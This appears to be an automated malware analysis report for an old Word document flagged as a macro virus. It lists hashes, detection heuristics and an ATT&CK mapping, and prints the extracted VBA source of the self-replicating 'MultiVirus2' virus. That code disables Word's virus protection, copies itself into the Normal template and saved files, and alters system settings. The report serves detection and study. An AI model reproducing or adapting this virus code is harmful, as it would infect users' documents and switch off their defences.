Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97f7cc3e43a0b7e1…

MALICIOUS

Office (OLE)

66.0 KB Created: 1998-04-18 19:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d934f7270c164eeb8dcc7bf11d0ad439 SHA-1: 2fdde32062503a0d3dc07a4f7f53c501cd0290b3 SHA-256: 97f7cc3e43a0b7e1e39f453bc590eea080692a01fb418e4cedb3f52dacfeee1a
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macros, including AutoOpen and AutoClose, which are indicative of older malware techniques. The script attempts to copy itself to the Normal template, suggesting an effort to achieve persistence. The ClamAV detection as 'Dos.Trojan.FormatCU-2' further supports its malicious nature.

Heuristics 5

  • ClamAV: Dos.Trojan.FormatCU-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Dos.Trojan.FormatCU-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32917 bytes
SHA-256: e437490a52d0f963edc2d560674580b81418f797842578b28014cf9bc652d159
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MultiVirus2"
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For I = 1 To iMacroCount
    If WordBasic.[MacroName$](I, 0) = "MultiVirus2" Then
        MultiVirus2Installed = -1
    End If
Next I
If Not MultiVirus2Installed Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MultiVirus2", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MessageBox", Object:=wdOrganizerObjectProjectItems
End If
Call PayIce
Call PayMon
ErrorAO:
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
iMacroCount = WordBasic.CountMacros(0, 0)
For I = 1 To iMacroCount
    If WordBasic.[MacroName$](I, 0) = "MultiVirus2" Then
        MultiVirus2Installed = -1
    End If
Next I
If Not MultiVirus2Installed Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MultiVirus2", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MessageBox", Object:=wdOrganizerObjectProjectItems
End If
Call PayIncar
End Sub
Sub FileClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
iMacroCount = WordBasic.CountMacros(0, 0)
On Error GoTo ErrorFC
For I = 1 To iMacroCount
    If WordBasic.[MacroName$](I, 0) = "MultiVirus2" Then
        MultiVirus2Installed = -1
    End If
Next I
If Not MultiVirus2Installed Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MultiVirus2", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MessageBox", Object:=wdOrganizerObjectProjectItems
End If
Call PayIncar
Application.Run MacroName:="FichierFermer"
ErrorFC:
End Sub
Sub AutoExit()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAEx
Dim FileName$, N$, Choix
With Application.FileSearch
    .FileName = "*.bmp"
    .LookIn = "C:\Windows"
    .Execute
     Choix = .FoundFiles.Count
     N$ = Int(Rnd * Choix) + 1
     FileName$ = .FoundFiles(N$)
End With
WordBasic.SetPrivateProfileString "DeskTop", "Wallpaper", FileName$, "Win.ini"
ErrorAEx:
End Sub
Sub FileSave()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFS
ActiveDocument.Save
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="MultiVirus2", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="MessageBox", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFS:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
        If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
            ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
        End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="MultiVirus2", Object:=wdOrganizerObjectProjectItems
Application.Organizer
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.